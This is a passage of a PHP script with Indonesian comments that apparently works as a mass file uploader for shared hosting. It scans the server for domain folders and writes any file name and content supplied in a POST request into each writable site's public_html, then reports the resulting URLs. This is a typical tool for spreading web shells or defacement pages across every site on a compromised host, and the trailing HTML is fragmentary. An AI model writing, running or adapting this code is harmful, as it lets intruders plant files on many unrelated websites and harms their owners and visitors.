0) $candidates[] = ['path' => $userDir, 'count' => $count]; // Cek userDir/domains $domainsSub = $userDir . '/domains'; if (is_dir($domainsSub) && is_readable($domainsSub)) { $count = countDomainFolders($domainsSub); if ($count > 0) $candidates[] = ['path' => $domainsSub, 'count' => $count + 100]; // prioritas } } } // Sortir: array with count (terbanyak) dulu, baru plain $withCount = []; $plain = []; foreach ($candidates as $c) { if (is_array($c)) $withCount[] = $c; elseif (is_string($c)) $plain[] = $c; } usort($withCount, fn($a, $b) => $b['count'] - $a['count']); foreach (array_merge(array_column($withCount, 'path'), $plain) as $c) { if ($c && is_dir($c) && is_readable($c)) return $c; } return null; } function countDomainFolders($dir) { $n = 0; foreach (@scandir($dir) as $f) { if ($f === '.' || $f === '..') continue; if (strpos($f, '.') === false) continue; if (!preg_match('/\.[a-z]{2,}$/i', $f)) continue; if (!is_dir($dir . '/' . $f)) continue; if (in_array($f, ['public_html', 'public_ftp', 'ssl', 'etc', 'logs', 'lscache', 'mail', 'tmp', 'access-logs', 'www', 'home', 'node_modules', '.git', 'cgi-bin', 'vendor', 'backup', 'backups'])) continue; $n++; } return $n; } // ============ SCAN DOMAIN ============ function scanDomains($baseDir, $usePublicHtml = true) { $domains = []; if (!is_dir($baseDir) || !is_readable($baseDir)) return $domains; $skipNames = ['public_html', 'public_ftp', 'ssl', 'etc', 'logs', 'lscache', 'mail', 'tmp', 'access-logs', 'www', 'home', 'node_modules', '.git', 'cgi-bin', 'vendor', 'backup', 'backups']; foreach (@scandir($baseDir) as $f) { if ($f === '.' || $f === '..') continue; if (strpos($f, '.') === false) continue; if (!preg_match('/\.[a-z]{2,}$/i', $f)) continue; if (in_array($f, $skipNames)) continue; $domainPath = rtrim($baseDir, '/') . '/' . $f; if (!is_dir($domainPath)) continue; // Tentukan target dir $targetDir = $domainPath; $hasPublicHtml = false; if ($usePublicHtml) { $pub = $domainPath . '/public_html'; if (is_dir($pub)) { $targetDir = $pub; $hasPublicHtml = true; } // Kalau public_html tidak ada → tetap pakai $domainPath (fallback) } $domains[] = [ 'name' => $f, 'path' => $domainPath, 'target' => $targetDir, 'has_public_html'=> $hasPublicHtml, 'writable' => is_writable($targetDir), 'url' => 'https://' . $f, ]; } usort($domains, fn($a, $b) => strcmp($a['name'], $b['name'])); return $domains; } // ============ PATH MODE ============ $autoBase = detectBaseDir(); $pathMode = $_POST['path_mode'] ?? $_GET['path_mode'] ?? 'auto'; $baseDir = ''; $usePublicHtml = ($_POST['use_public_html'] ?? $_GET['use_public_html'] ?? '1') === '1'; if ($pathMode === 'manual') { $baseDir = trim($_POST['manual_path'] ?? $_GET['manual_path'] ?? ''); } else { $baseDir = $autoBase ?? ''; } // ============ PROSES SUBMIT ============ $hasil = []; $berhasil = 0; $gagal = 0; $skip = 0; $submitted = false; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['do_upload'])) { $submitted = true; $fileName = trim($_POST['filename'] ?? ''); $fileContent = $_POST['content'] ?? ''; if ($fileName === '') { $hasil[] = "ERROR : Nama file tidak boleh kosong."; } elseif (preg_match('/[\/\\\\:*?"<>|]/', $fileName)) { $hasil[] = "ERROR : Nama file mengandung karakter ilegal."; } elseif ($baseDir === '' || !is_dir($baseDir)) { $hasil[] = "ERROR : Base directory tidak valid: {$baseDir}"; } else { $domains = scanDomains($baseDir, $usePublicHtml); if (empty($domains)) { $hasil[] = "ERROR : Tidak ada folder domain di {$baseDir}"; } else { foreach ($domains as $d) { if (!$d['writable']) { $gagal++; $hasil[] = "GAGAL : {$d['name']} (tidak writable)"; continue; } $targetFile = rtrim($d['target'], '/') . '/' . $fileName; $write = @file_put_contents($targetFile, $fileContent); if ($write !== false) { $berhasil++; $hasil[] = "OK : {$d['url']}/{$fileName}"; } else { $gagal++; $hasil[] = "GAGAL : {$d['name']}/{$fileName}"; } } } } } // Preview $previewDomains = ($baseDir && is_dir($baseDir)) ? scanDomains($baseDir, $usePublicHtml) : []; $previewCount = count($previewDomains); ?>
= htmlspecialchars($baseDir) ?>
| 📁 Mode: = $usePublicHtml ? 'public_html' : 'tanpa public_html' ?>
0): ?> | 🌐 = $previewCount ?> domain
= htmlspecialchars($baseDir) ?>